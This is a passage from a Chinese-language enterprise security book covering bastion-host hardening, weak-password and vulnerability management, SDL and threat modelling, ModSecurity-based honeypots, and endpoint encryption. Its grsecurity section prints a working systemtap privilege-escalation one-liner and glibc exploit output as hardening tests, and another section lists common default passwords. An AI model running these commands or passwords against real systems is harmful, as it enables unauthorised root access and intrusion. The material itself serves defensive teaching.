LOG_AUTHPRIV); syslog(LOG_INFO, "[uid:%d]: deny remote forwarding by xysky, %s", getuid(),optarg); closelog(); fprintf(stderr,"Bad remote forwarding deny by system.\n"); exit(255); 对其进行编译安装即可看到效果,测试效果在syslog里有如下信息: Aug 18 16:23:12 localhost ssh_sec[5946]: [uid:673]: deny remote forwarding by xysky, 4444:test.xxxx.net:22 同样,针对OpenSSHD的代码执行功能,修改session.c代码中的session_exec_req即可,不再赘述。 针对本地提权问题,一个堡垒机尽量使用新版本内核并打上补丁;二是可以使用一些内核安全加固 的手段。有兴趣的读者可以研究一下grsecurity,其官方网站http://grsecurity.net/,从网站上下载最新的 linux内核及与之对应的grsecurity版本,给内核打上grsecurity补丁,重启后进行测试,下面是使用其加固 前后的效果对比。 测试glibc提权漏洞,没用grsecurity之前,如下: [xysky@pxe-000 ~]$ ./a.sh mkdir: cannot create directory `/tmp/exp': File exists lr-x------ 1 xysky xysky 64 Jul 5 23:28 /proc/4081/fd/3 -> /tmp/exp/tar [root@pxe-000 ~]# 使用grsecurity之后提权失败,会在日志里看到如下信息: Jul 5 22:50:00 pxe-000 kernel: [ 141.788669] grsec: From 192.168.70.26: denied hardlink of /bin/ping (owned by 0.0) to /tmp/exp/tar for /bin/ln[ln:4967] uid/euid:500/500 gid/egid:500/500, parent /home/xysky/a.sh[a.sh:4965] uid/euid:500/500 gid/egid:500/500 测试systemtap提权漏洞,没用grsecurity之前,如下: [xysky@pxe-000 enlightenment]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever sh-3.2# 使用grsecurity之后提权失败,如下: [xysky@pxe-000 root]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever bash: exploit.conf: Permission denied ERROR: Couldn't mount /mnt/relay: Operation not permitted [xysky@pxe-000 root]$ 效果还是很明显的。Grsecurity类似的加固方案之所以没有在13.4节“服务器安全”中提及,主要是因为 这个方案也受一些兼容性的影响,尤其是Java方面的应用。在重视高可用性、高稳定性的金融行业尝试 grsecurity,是个不太妥当的做法,但堡垒机场景相对单一,可以考虑。 13.6 漏洞战争 在企业内网,除了前面讲的AD、邮件、VPN、堡垒机外,更多的是各种各样的应用系统。由于只对 内部员工开放,所以往往安全重视程度也不高,容易被别有用心的人利用,可能被人拿来当跳板,也可 能被人盗取数据。 13.6.1 弱口令 在企业内网,弱口令是永远无法避开的话题。严格意义上讲,弱口令也是一种漏洞,此处单独拿出 来讲只是其和常规漏洞还有一定的区别。存在弱口令的主要有三种场景: ·网络设备或终端、服务器的登录用户和密码,比如Telnet、RDP、SSH、VNC、Radmin的用户密 码。 ·各种Web应用的内置密码,内网大量应用的内置密码,比如网管系统、iLO、HMC、Tomcat管理后 台等。 ·各种服务可能配置成弱口令,比如FTP、MySQL、SQLServer等。 而弱口令按密码不同来分,可以分为空口令、默认口令(比如admin、admin888、test、password)、简 单密码(比如123456、12345678、888888)、网上泄露库的top1000(比如woaini1314、5201314、 123456a、zxcvbnm)以及适当变化的字典库(如Baidu123、Baidu@2018)等。 发现弱口令最有效的方式是直接扫描。X-Scan虽然年代久远但偶尔还看到有人在使用,Medusa、 Hydra、Ncrack在支持类型上比较丰富值得推荐,在Web暴力破解领域Burp Suite也经常会被渗透测试人员 使用。有条件的企业可能还针对企业内部场景定制开发自己的弱口令检查工具,比如当扫描到Web页面 有登录、login、Management等字样的时候会自动尝试暴力破解,发现图片验证码的时候自动调用图片识 别程序等。商业产品Nessus也具备弱口令扫描功能,图13-8是其使用Hydra进行暴力破解扫描的插件。 图13-8 Nessus Scan Bruteforce2 Small 如何消除弱口令,除了常态化的扫描、跟进修复外,应该从另外的角度来考虑这个问题,此处提出 以下建议: ·针对网络设备,建议使用类似ACS+Token的解决方案,静态用户保留最高权限和只读账号,而高权 限静态用户登录则需要告警,平时不允许使用,只有应急情况才可以使用。 ·针对Windows机器,在域里统一设置安全策略,强制要求密码复杂度及过期时间;有些企业通过 LDAP的方式来管理Linux机器,也可以做一些相应的设置。生产网更应该严格对待,统一要求都接入堡 垒机,通过堡垒机的上收口令和自动改密码功能来管理,用户自动登录无需掌握密码,应急使用的高权 限账号平时则不允许使用,有使用则进行告警及审计。 ·针对Web应用系统,建议统一接入SSO系统,而SSO系统则可以采用双因素认证等来实现;有条件 的企业更应该考虑使用不需要密码的登录,比如通过APP扫码登录,体验会更好,用户也不需要掌握密 码。 ·对于一些比较危险的服务,如FTP、MySQL、Redis、Radmin、VNC、SVN、Git、Rsync,能不开就 不开,必须要开的尽量做访问来源限制,即使存在弱口令也只在有限范围内使用。 ·对于企业内网大量的应用管理后台,建议在上线前做好管控,梳理常见的问题并做出明确的要求, 比如Tomcat、phpMyAdmin、JBoss等管理后台界面。 13.6.2 漏洞发现 根据发现方式的不同,我们把漏洞分为三类:基于主机层面的漏洞(系统漏洞),基于应用层面的 常规漏洞(比如Web漏洞),基于应用程序内部逻辑的漏洞。 系统漏洞包括操作系统本身的安全漏洞,以及运行在操作系统上面的应用程序(例如IIS、Apache、 Ningx、Tomcat、MySQL)的安全漏洞。要发现此类漏洞,可以采用诸如Nessus、OpenVAS之类的扫描 器。Nessus的Discovery包括了主机发现、端口扫描、服务发现相关设置,Assessment选项包括了常规设 置、暴力破解、Web应用、Windows、Malware相关的配置,还可以提供登录相关的凭证便于做侵入式登 录扫描。大量的Plugins便于用户自定义选择,也可以针对某些特定漏洞进行专项扫描,比如“永恒之 蓝”的MS17010漏洞。如果扫描处在上线前的阶段,建议尽量做侵入式扫描,即登录到服务器上进行扫 描。如果内网机器数量众多,需要部署多台Nessus服务器,采用集群模式进行扫描。扫描自动化做得好的 企业,往往会做一些定制开发,比如调用Nessus接口定期扫描并导出结果,然后按漏洞级别分类并纳入漏 洞管理系统以便统一跟进。 应用层面常规漏洞包括SQL注入、XSS攻击、文件上传、文件下载、信息泄露、框架注入、XXE注 入、CSRF、SSRF、命令执行、弱口令等。一般企业会采用AWS、IBM Appscan、HP WebInspect、Nikto 等商业或开源扫描器开展漏洞扫描工作。这些扫描器各有特色,有的还包含一些辅助工具,方便开展渗 透或漏洞确认工作。由于这块内容网上有非常多的参考资料,而且白帽子也非常多,招聘安全人员很容 易就能覆盖到这块能力,所以这里就不花太多篇幅进行阐述了。需要注意的是,除了主动扫描,还可以 结合被动扫描的思路,比如获取真实的访问日志、获取网络流量提取HTTP请求内容等,再提交给扫描器 进行扫描,以弥补主动扫描的不足。 相较前两种漏洞来说,应用逻辑漏洞难以直接用扫描工具发现,更多需要人工介入,结合使用 BurpSuite、Fiddler等辅助类工具对应用系统各种内部逻辑进行测试。逻辑漏洞很容易在身份认证、业务 流程、API接口调用等过程中产生,身份认证模块就涉及口令破解、验证码、撞库、密码找回、认证时效 等问题;业务流程中则依据不同的业务场景会有不同的功能,比如订单篡改、一致性校验、重放攻击、 输入合法性等;API接口调用简化了系统架构,但也容易存在不认证、不限制访问等问题。简单举个例 子,某P2P网站提供通过手机找回密码的功能,如图13-9所示。 图13-9 找回密码界面 初看没什么毛病,要手机号、短信验证码、身份证后6位,比一般的网站找回密码只需要短信验证码 验证感觉还更安全。在应用里的逻辑一般会是这样:输入手机号的时候,先会校验你是否注册过,注册 了才会发送短信验证码。通过查看网页源码可发现点击“获取验证码”会触发一个Ajax请求,代码逻辑如图 13-10所示。 图13-10 找回密码代码逻辑 可以直接在浏览器按F12再来操作,会发现有POST请求一个生成验证码的API接口,控制不严的情况 下可以直接在浏览器地址栏构造URL触发GET请求,也能看到返回值。如果这个接口未做限制,那丢到 Burp Suite或者写个脚本很快就能将该网站所有注册手机号遍历出来。 前两种漏洞通过扫描器能部分覆盖,而后一种漏洞则基本上需要靠人工介入,那企业需要考虑,用 什么样的扫描器?扫描周期如何?人工介入的范围有哪些?表13-2可供参考。 表13-2 漏洞扫描信息表 发现漏洞只是第一步,后面还有大量的沟通协调工作跟进及漏洞修复确认工作,做得不好的企业往 往靠人工维护Excel表格跟进,做得好的企业往往漏洞管理系统直接与内部工单或ITIL系统对接。漏洞的 修复一般有几个优先原则: 1)暴露在互联网上的漏洞,必须第一时间发现与修复,对于未及时修复的,需要进行升级处理(这 里的升级是指向更高层级的人通告此漏洞,比如抄送领导)。 2)高风险特别是可以直接拿到权限的漏洞,比如MS08067、MS17010、Struts2各种远程执行漏洞 等,也需要优先跟进并修复。 3)内部网络重要系统的漏洞,比如人力资源、OA、邮件等,也需要优先。 4)其他内部不重要的系统漏洞,按常规方法跟进处置,超过多少天的该升级到什么级别,按规章处 理。 注意: 有时候扫描器报出来的高风险漏洞,漏洞管理员需要经过适当评估才能定级跟进。比如,一个内部 Apache版本过低报出来High风险可能不是合适的,还有一些本地提权漏洞,即使有一些条件限制的可能 也会报High,处理不好可能会遇到运维人员的“挑战”。 13.6.3 SDL 安全开发生命周期(Security Development Lifecycle,SDL)是由微软最早提出的从安全角度指导软 件开发过程的管理模式。SDL是一个安全保证过程,其重点是软件开发,它在开发的所有阶段都引入了 安全和隐私的原则。SDL不是一个空想的理论模型,它是微软为了面对现实世界中的安全挑战,在实践 中一步步发展起来的,自2004年起,SDL一直都在微软全公司强制实施,其步骤包括培训、需求、设 计、实施、验证、发布、响应七个环节,可以访问微软官方网站获取更多信息。相对于微软的SDL, OWASP推出了软件保证成熟度模型(Software Assurance Maturity Model,SAMM)。 SAMM与SDL的主要区别在于:SDL适用于软件开发商,他们以贩售软件为主要业务;SAMM适用 于自主开发软件的使用者,如银行或在线服务提供商。软件开发商的软件工程往往较为成熟,有着严格 的质量控制;而自主开发软件的企业组织,则更强调高效,因此在软件工程的做法上也存在差异。 SDL在国内企业难以落地,主要是企业面临以下诸多问题: ·缺乏安全意识教育导致的安全意识不足。 ·缺少安全编码标准和规范。 ·系统设计以完成功能为主导,不考虑安全问题。 ·敏捷开发意味着频繁的迭代更新发版本,微软SDL较为厚重。 除了以上因素外,SDL在我国还有一些水土不服的情况,比如,微软SDL非常强调隐私保护,而在国 内企业更多在敏感数据防泄露上做文章,很难把隐私保护放到同等地位。当然,随着《网络安全法》 《欧盟一般数据保护法(GDPR)》的逐步实施,会有一定的改善空间。国内推出自己的SDL的企业主要 是互联网企业,影响范围相对有限,金融行业有自己的一些特征,也不能照搬,基本是各自摸索。推行 SDL需要循序渐进,如果以往安全人员只是在最后上线阶段做一些上线前扫描,那现在要求一开始就介 入需求设计阶段可能也不太现实,至少是推进起来难度不小。SDL可分为需求分析与设计、开发、测 试、上线、运营几个阶段,下面逐一阐述。 1.需求分析与设计阶段 这个阶段有不少沟通工作,项目经理、产品经理甚至需求方都可能会涉及,在梳理各开发条线的项 目情况后,需要给出相应的建议。在这里,一份Checklist可能会很有帮助。美的金融科技就发布了一个金 融科技SDL安全设计Checklist,内容涵盖输入验证、输出编码、身份认证、异常处理、会话管理、访问控 制、接口调用、权限控制、敏感信息、运行环境以及常见Web安全防护等方面,相对比较完善,值得推 荐。其URL地址: https://mp.weixin.qq.com/s/MR3SmOLj834LK4RBMcZ2pg 注意: Checklist并不一定能覆盖到所有场景,比如,有的项目往往会使用一些第三方的软件,可能是网上某 个开源框架或库,也可能是某个商业公司的组件。所以在实际过程中,还会依靠安全工程师的经验做出 判断,对这种第三方软件进行适当的评估才行。 2.开发阶段 在这个阶段,一般企业都会有一个应用安全开发标准的文档,而作为规范的配套,最好还提供一些 技术类的解决方案,比如安全函数库或安全框架。最后,为了确保编写的代码符合规范,还需要进行代 码审计,比如,规范里要求不允许使用什么函数或者不允许使用什么框架,通过简单的代码审计规则就 能发现违规行为。 在实际工作过程中,很多开发人员甚至安全人员只会依据类似《XX开发安全标准》《XX开发安全 规范》来干活,却不知道为什么要关注这样的风险以及对应的安全措施,久而久之习惯使然,容易变 成“过度的安全设计”。因此,“知其然且知其所以然”,从风险的角度去考虑而非机械遵守,是开发人员需 要具备的素质。 3.测试阶段 项目开发完了会转到测试环节,传统的测试人员会对着设计文档进行各种测试,包括白盒、黑盒、 单元测试、集成测试、功能测试、性能测试等。在这个阶段,我们需要引入一个安全测试,即专门针对 安全性的测试。 在开始动手测试前,业界有一些通用的威胁建模方法供我们参考,比如,源于微软的STRIDE,它从 6个维度来考察系统设计时存在的来自外部威胁的风险点,分别为: ·Spoofing(假冒)。 ·Tampering(篡改)。 ·Repudiation(否认)。 ·Information Disclosure(信息泄漏)。 ·Denial of Service(拒绝服务)。 ·Elevation of Privilege(提升权限)。 用STRIDE进行威胁建模,以保证系统的几个安全属性与之对应:身份认证、完整性、不可否认性、 机密性、可用性、授权,对应的解释及示例如表13-3所示。 表13-3 STRIDE威胁建模 在威胁建模的最后阶段,还要根据威胁所造成的危害对威胁进行评价,这样企业就可以排出优先 级,先解决风险最大的威胁再解决其他的威胁。微软公司使用DREAD模型来协助这个计算过程,通过询 问下列问题就可以得到给定威胁的风险评价结果: ·潜在损失(Damage Potential)。如果缺陷被利用,损失有多大? ·重现性(Reproducibility)。重复产生攻击的难度有多大? ·可利用性(Exploitability)。发起攻击的难度有多大? ·受影响的用户(Affected Users)。用粗略的百分数表示,有多少用户受到影响? ·可发现性(Discoverability)。缺陷容易发现吗? 可以利用上面的几项来评价每一种威胁,也可以自己进行扩展,然后给每一项进行打分(如1分为 低,2分为中,3分为高),最后计算出总分(如结果范围为5~15分,设定规则为总分12以上为高危, 8~11分为中危,5~7分为低危),如表13-4所示。 表13-4 安全威胁评分表示例 除此之外,OWASP组织官网上还介绍了Trike、AS/NZS 4360、CVSS、OCTAVE等,不再一一列 举。 安全测试人员的工作,和漏洞扫描人工渗透的工作内容有一定的相似度,但不完全一样。测试人员 通常掌握设计说明书、源代码、数据库表结构等内容,更容易深入理解应用的不同功能,如果能站在攻 击者的视角去思考如何攻击目标,就更有优势了。优秀的安全测试人员,除了要利用已有的思路或自已 积累的各种经验,还需要时刻关注外界新的攻击方式,说不定在某个节点会有新的发现。 4.上线阶段 在这个阶段,大部分安全团队的工作压力并不大,这是因为:操作系统、服务端的配置基本上都已 经做了基线配置和安全加固;在这个阶段,安全团队有一个权限—对发现有问题的应用不允许上线。 5.运营阶段 在这个阶段,更多是常态化的工作,包括扫描、渗透,也包括日常的安全监控,一旦有安全事件, 需要进行根因分析,并从中吸取教训,对日后的工作进行针对性的改进。 最后补充一点,不是所有应用都是同一个标准,企业要结合自身实际情况做一定的调整,比如,哪 些应用是对所有互联网开放访问的,而有些应用只允许内部员工访问;哪些应用包含有大量客户资料或 交易信息,而哪些没有,肯定要在以上所有阶段区别对待。 13.7 蜜罐体系建设 除了依靠各种安全配置基线、部署防御设备直面安全问题外,在内网我们经常使用一些欺骗技术来 发现可疑行为,比如蜜罐。蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的 主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻 击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并 通过技术和管理手段来增强实际系统的安全防护能力。蜜罐分为低交互型蜜罐和高交互型蜜罐两种类 型,大家所熟知的honeyd就属于低交互性蜜罐,这是一个非常优秀的框架,内置了一些简单的脚本,用 来模拟一些常见的服务,用户可以基于honeyd提供的脚本对模板进行改写,使模拟的效果更加逼真。 在企业内网,我们的对手可能是外部黑客,也可能是内部蓝军,更有可能是恶意的员工,所以我们 的蜜罐建设不是简单部署honeyd就完事了,我们需要考虑得更多、更体系化。 1.蜜域名 蜜域名,就是在内网或者互联网DNS上发布一个无法轻易猜到的域名,在DNS服务器配置不存在区 域传送漏洞的情况下,一般不会轻易被访问到,别有用心之人可以通过域名暴力枚举来发现。一旦有人 请求这个域名,就表明其有一定的可疑性。 2.蜜网站 上面的蜜域名,可以对应到一个网站,或者这个网站压根就没有域名,也不与其他网站有链接访问 关系,也不提供给别人访问,但别有用心之人也可能会访问到。或者就是一个正常的网站,但我们利用 ModSecurity在返回给用户的robots.txt内容中动态插入我们的内容,引导恶意爬虫或别有用心的攻击者来 访问。假设正常的网页的robots.txt内容如下: User-agent: * Disallow: /api/ Disallow: /inc/ Disallow: /cgi-bin/ Disallow: /admin/ 相关的含义就不解释了,如果我们往里面写入一些类似logs、backup等的目录,会不会有人感兴趣? 我们写几条规则到honypot_url.conf文件,重点内容如下: SecContentInjection On SecRule REQUEST_FILENAME "@streq /robots.txt" \ "id:'999002',phase:4,t:none,nolog,pass,append:'Disallow: /bak.%{time_epoch}/ # website backup files'" SecRule REQUEST_FILENAME "^/bak.\d{10}" \ "id:'999003',phase:2,t:none,log,block,msg:'WAF_Honeypot Alert: someone access the fake url.'" 当尝试访问的时候,会发现返回的robots.txt未尾有一行我们动态插入的内容: Disallow: /bak.1427434973/ # website backup files 当接着访问/bak.1427434973时,会触发错误日志: [Fri Mar 27 13:43:00 2015] [error] [client 192.168.4.78] ModSecurity: Warning. Pattern match "^/bak.\\\\d{10}" at REQUEST_ 或者我们在某个登录页面中插入伪造的注释信息,引诱别人访问,而正常用户是不会去访问的。以 OSAdmin管理后台为例,表单代码<form name="loginForm"method="post"action="">,我们用ModSecurity 在这之前写入一些HTML注释,新建规则文件honypet_comment.conf,内容如下: SecContentInjection On SecStreamOutBodyInspection On SecRule REQUEST_FILENAME "@streq /login.php" "chain,id:'999004',phase:4,t:none,nolog,pass,setvar:'tx.fake_comment=<form na SecRule STREAM_OUTPUT_BODY "@rsub s/%{tx.fake_comment}/<!-- the old login page is login_bak.php.bak ,backup by admin -->%{ SecRule REQUEST_FILENAME "@streq /login_bak.php.bak" "id:'999005',phase:1,t:none,log,block,msg:'WAF_Honeypot Alert: someon 当有人尝试查看HTML注释的时候,会发现如下内容: <!-- the old login page is login_bak.php.bak ,backup by admin --><form name="loginForm" method="post" action=""> 手工尝试访问,会触发告警,Apache错误日志如下: [Fri Mar 27 14:26:08 2015] [error] [client 192.168.4.78] ModSecurity: Warning. String match "/login_bak.php.bak" at REQUES 3.蜜端口 蜜端口有两类:一类是传统的Web应用跑在非80端口上;一类是运行TCP/IP应用监听端口。比如, 我们结合Modsecurity来发现针对不常见端口的尝试攻击,选择一个没有对外公布的IP(即没有DNS解析 到此IP),开启一个或多个非80端口,这是第一步。注意这个端口的选择也是有讲究的,仔细看一下 Nmap默认扫描的端口中包含哪些,你是希望通过常规的端口扫描能让黑客发现这个端口,还是希望黑客 通过全端口扫描才能发现,完全取决于你。在涉及的防火墙(如iptables)、负载均衡(如F5、LVS)上 发布此IP与相应的端口,在apache上配置监听相关端口并设置好虚拟站点,即添加一 个/etc/httpd/conf.d/hyweb.conf,关键内容参考如下: Listen 8081 <VirtualHost *:8081> ServerAdmin webmaster@localhost DocumentRoot "/var/www/html/hy1" ServerName localhost ServerAlias localhost ErrorLog "logs/hy1-error.log" CustomLog "logs/hy1-access.log" common <Directory "/var/www/html/hy1"> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all </Directory> </VirtualHost> 即让Apache监听8081端口,并指定一些目录及日志。注意,我们允许浏览目录。接下来,我们在 ModSecurity上添加一个规则文件honypot_port.conf,关键内容如下: SecRule SERVER_PORT "^(81|8000|8080|8081|8084|8888)$" \ "id:'999001',phase:1,t:none,log,block,msg:'WAF_Honeypot Alert: someone access the fake port.'" 上面的意思是,当有人请求访问这些端口时,就会触发这条规则,在日志里写入相关信息告诉管理 员有人来访问蜜罐了。 我们测试请求一下,会看到有ModSecurity的日志: --b3fb5601-H-- Message: Warning. Pattern match "^(81|8000|8080|8081|8888)$" at SERVER_PORT. [file "/etc/httpd/modsecurity.d/honypot_port. Stopwatch: 1427430048124623 286 (- - -) Stopwatch2: 1427430048124623 286; combined=51, p1=2, p2=47, p3=0, p4=0, p5=2, sr=0, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.7.3 (http://www.modsecurity.org/). Server: Apache/2.2.15 (CentOS) Engine-Mode: "ENABLED" 同时Apache的错误日志里也会有一条记录,如下所示: [Fri Mar 27 12:20:48 2015] [error] [client 192.168.4.78] ModSecurity: Warning. Pattern match "^(81|8000|8080|8081|8888)$" 4.蜜服务 低交互性的蜜服务,用honeyd模拟脚本就可以了,比如要模拟FTP服务,add windows tcp port 21"sh scripts/ftp.sh",这句的意思是让honey调用scripts目录下的ftp.sh脚本,访问效果如图13-11所示。 随着Docker的兴起,有些商业蜜罐产品开始利用Docker+iptables转发来做调度,不同的Docker里运行 各种不同的服务,比如RDP、SSH、Telnet、MySQL、Redis等,注意后端不再是一个模拟的交互环境, 而是一个真实的服务,图13-12展示了某商业产品的蜜罐功能。 而前端需要探针服务器配合,企业按需部署,探针上的Agent将流量按需引导到后端蜜罐上,如图13- 13所示。 图13-11 Honey模拟FTP应用 图13-12 某商业产品的蜜罐功能 图13-13 某商业产品的蜜罐探针 当我们用自动化脚本对网络上各种服务进行检测时,会触发蜜罐事件,比如图13-14所示的SSH尝试 用弱口令登录产生的事件。 密罐不仅能记录访问来源,还能记录用户密码,当然这需要对OpenSSHD源码做适当的修改;同理, 对MySQL源代码做适当修改也能记录下MySQL的操作指令,如图13-15所示。 图13-14 蜜罐记录的SSH事件 图13-15 蜜罐记录的MySQL事件 这样的蜜罐,比单纯的记录TCP访问连接要好很多,但由于每个服务都需要做适当的修改,所以也有 一定的成本。 5.蜜库蜜表 在企业内网真实的数据库服务器上,新建一个假的库或者表,同时记录针对假库假表的访问,这就 是我们说的蜜库蜜表了。恶意人员可能关心企业内部的组织结构、薪酬信息甚至生产系统中的客户资 料、交易信息等,我们在建假库假表的时候,适当模仿,可能更有迷惑性。 6.蜜文件 在一些重要的场所,比如机房维护操作间电脑上,放一些精心准备的Word和Excel文件,一旦有人想 将这些文件带离,在终端或网络上的DLP程序能及时发现;如果恶意人员使用一些技术手段绕过DLP,在 文件打开的时候,也会请求特定的URL来“告诉”我们,这些文件已经泄露出去了。所谓的精心准备的文 件,包括几个方面: ·精心设置文件名、时间、作者属性等,既吸引人又不至于让人怀疑,比如“XX银行股权分配计 划.doc”。 ·精心放置目录,既不能放到桌面、磁盘根目录这么显眼的地方,也不能隐藏太深。 ·文件制作过程中,利用插入图片或链接的方式,设置一个URL带上一些内部标识的参数,同时尽量 做到让这些图片或链接非常不起眼。 ·文件制作好之后,需要在DLP系统上配置有针对性的策略,以发现相应的泄露行为。 7.全民皆兵 传统的蜜罐在企业内网部署,维护量较大,而且不便于统一管理,市面上已经有新的蜜罐产品,逐 步在解决此类问题。 全民皆兵是一种防卫思想,最终的目标是将侵略者埋葬在全民皆兵的汪洋大海里。我们借用这个思 想,企业里本身就有海量的终端,我们需要在这些终端上进行适当的武装,比如随机蜜罐功能就是一个 例子。我们在终端管理软件里加入随机蜜罐功能,后台配置相应策略之后,终端有5%~15%的概率运行 HTTP、FTP服务程序,运行1~2小时后自动退出,当然如果终端上已有相应端口监听,就不会运行。有些 商业产品也开始利用类似的思路,在终端上监听一些端口(当然,如果与系统已有端口冲突则放弃), 然后将外来访问蜜端口的请求通过SOCKET转发到后端真实的服务器上,同时记录相应的连接、断开情 况,包括时间、来源IP、来源端口等,而且这种基于Agent的蜜罐还可以通过后台策略进行统一调度。图 13-16为某商业产品的策略。 图13-16 某商业蜜罐的策略 统一调度后,终端上即会开启相应的端口处于监听状态,如图13-17所示。 有了这些功能后,在我们安全管控触角伸不到或者保护不太严格的终端网段,有一些不怀好意的探 测或扫描,也会被这种方式发现。 图13-17 某商业蜜罐本地端口监听 13.8 小结 整个内网安全体系涉及的内容非常多,本章只是依据笔者经验写成。随着大数据、云计算、SDN、 区块链的兴起,传统的安全手段会逐步面临挑战,我们需要不断学习并保持关注,与时俱进。 第14章 数据安全 数据安全这个话题,覆盖面非常广,包括市面上数据备份、电子文档安全、数据泄露防护、数据库 安全等,磁盘加密的厂商都会把自己划到数据安全厂商这一类,而随着新技术的发展,大数据安全、 UEBA、CASB等解决方案也会更多被企业关注。 2018年3月,美国F公司爆出史上最大数据泄露事件,随着这个事件的持续发酵,甚至牵扯到了美国 总统通俄门调查,可想而知影响有多大。 企业要着手数据安全建设工作,很多乙方上来就会提企业数据安全治理、分级分类等工作,往往这 些工作涉及企业内部各机构的沟通协调、内部梳理,再加上很多企业中想做数据安全建设工作的更多是 技术部门,最终导致难以落地。当然,不排除有做得好的企业。下面我们简单谈一下与数据安全治理相 关的概念,然后按终端、网络、存储、应用、数据脱敏、水印、UEBA、CASB顺序进行介绍。 14.1 数据安全治理 数据安全治理最为重要的是进行数据安全策略和流程制订。在企业或行业内经常发布《XX数据安全 管理规范》,所有的工作流程和技术支撑都是围绕此规范来制订、落实,一般会包括组织架构及职责分 工、数据分类与分级管理、数据生命周期(采集、使用、传播、存储、归档、销毁)安全要求、数据安 全风险事件管理、数据安全管理考核与监督、数据安全管理培训等内容。 数据安全治理工作,需要遵循国家级的安全政策和行业内的安全政策,包括网络安全法、等级保护 政策及特定行业政策(如PCI-DSS、SOX等),企业在制定内部政策时需要重点参考。 数据治理主要依据数据的来源、内容和用途进行分类;以数据的价值、内容敏感程度、影响和分发 范围进行敏感级别划分。这就要求企业需要对现有数据资产进行梳理,包括数据的使用部门和角色、数 据的存储和分布、现有的数据访问原则和控制策略等。数据资产梳理中,要明确数据如何被存储、数据 被哪些对象使用、数据被如何使用等。对于数据的存储和系统使用,需要通过自动化的工具进行;对于 部门、人员角色梳理,更多在管理规范文件中体现;对于数据资产使用角色的梳理,关键要明确不同受 众的分工、权利和职责。清楚敏感数据分布,才能知道需要对什么样的库实现何种管控策略;对该库运 维人员实现怎样的管控措施;对该库的数据导出实现怎样的模糊化策略;对该库数据的存储实现何种加 密要求。明确数据被什么业务系统访问,才能准确地制订业务系统工作人员对敏感数据访问的权限策略 和管控措施。 数据治理的分级分类工作做得好,将有利于后面技术管控方案的部署实施以及精准有效发现问题。 不能落地不代表我们不去朝这个方面努力,至少要知道企业里比较核心的数据是什么,在哪里,怎么流 转,然后针对性地布控。 14.2 终端数据安全 跟数据打交道最多的场景是终端电脑,所以很多企业的数据安全建设工作都会围绕终端进行,市面 上的解决方案有加密、权限控制、终端DLP桌面、虚拟化、安全桌面等几大类别,中间还会涉及一些外 设管控、水印等,我们逐一阐述。 14.2.1 加密类 加密类解决方案可以分为磁盘加密、文件加密两类技术。 1.磁盘加密 磁盘加密技术目前主要有两种类型:一种是磁盘分区加密技术,另一种是全磁盘加密技术(Full Disk Encryption,FDE)。 磁盘分区加密技术是采用加密技术对磁盘上某一个扇区(或者分区)进行加解密。磁盘分区加密技 术目前已经有广泛应用,虚拟磁盘加密技术(Vertual Disk Encryption,VDE)就是磁盘分区加密技术的 代表之一,其他的还包括移动存储设备加密技术。很多企业提供类似“安全U盘”的设备,网上搜索“加密U 盘”即可找到。 全磁盘加密技术,顾名思义,是对整个磁盘上的数据进行加解密,包括系统所在分区也是加密的。 国内也有厂商提供全磁盘加密的技术解决方案,图14-1是某厂商的动态加解密过程原理图。 图14-1 全磁盘加解密工作原理 随着操作系统功能的不断增强,都自带了磁盘加密功能,比如Windows的BitLocker、Linux的 LUKS、MAC的FileVault等。除了系统自带外,个人用户还可以使用免费的TrueCrypt,同时支持Windows Vista、7/XP、Mac OS X、Linux等操作系统。TrueCrypt不需要生成任何文件即可在硬盘上建立虚拟磁 盘,用户可以按照盘符进行访问,所有虚拟磁盘上的文件都被自动加密,需要通过密码进行访问。 TrueCrypt提供多种加密算法,包括AES-256、Blowfish(448-bit key)、CAST5、Serpent、Triple DES和 Twofish,其他特性还有支持FAT32和NTFS分区、隐藏卷标、热键启动等。因为安全原因,TrueCrypt已经 停止更新,用户可选用更安全的版本VeraCrypt,除了免费这一优势,最关键的是操作也非常方便,如图 14-2所示。 图14-2 VeraCrypt效果图 传统的磁盘加密方案,都是基于防止设备丢失等带来的被动泄密,而无法防止员工的主动泄密,所 以以上的方案比较适合用在笔记本电脑、移动存储设备上。 业界还有一种新的商业产品方案,同样也是在磁盘上做文章,即在本地物理磁盘上创建一个文件 (称为实体文件),把该文件映射为一个盘符,这个盘符与正常的盘符没有区别,只是读写这个盘的数 据会被重定向成读写上述实体文件。除此之外,再结合对进程访问资源的控制,来实现对特定应用或业 务系统的保护。基本的工作原理如图14-3所示。 图14-4所示的架构图比较清晰,只有指定的合法进程才能访问这个虚拟磁盘,而这些进程一旦打开了 虚拟磁盘里面的文件,就会立即进入受控状态,一切可能导致数据泄露的行为都会被控制,控制方法包 括允许、审计、禁止、审批等。 针对特定业务系统的保护,此方案是一个非常不错的选择,在实际使用过程中需要关注以下问题: ·受保护的业务系统是C/S还是B/S访问,内部是否有各种调用关系,这些都决定了要保护的进程、网 络访问该如何配置。 ·某些软件本身会有一些行为,如读写系统盘临时文件或者与业务系统无关的网络行为,这时候的强 控制是否会引起兼容性问题?弱控制是否会引起数据泄露?这些问题可能都需要评估。 ·实施方案要考虑应用的各种不同版本,以及应用软件功能升级情况,以免引起不兼容问题。 图14-3 技术架构图 2.文件加密 这里的文件加密不是指给文档设置一个密码或者给文件压缩设置压缩密码,而是企业里常用的透明 加解密方案。所谓透明是指,对使用者来说是未知的,当使用者在打开或编辑指定文件时,系统将自动 对未加密的文件进行加密,对已加密的文件自动解密。文件在硬盘上是密文,在内存中是明文。一旦离 开使用环境,由于应用程序无法得到自动解密的服务而无法打开,从而起到保护文件内容的效果。 透明加解密产品的实现技术,分为两种:应用加密、驱动层加密。 ·应用层加密。通过调用应用系统的Windows API函数来对文件进行读写的加密控制,即平常所说的 Hook技术。通过Hook技术,当监控到可信进程打开加密文件的时候将其进行解密,当监控到可信进程写 入文件到磁盘的时候进行加密;而驱动层则工作在更底层,通过拦截操作系统文件过滤驱动的读写动作 对文件进行加解密控制,由于工作在受Windows保护的内核层,运行速度更快,加解密操作更稳定。 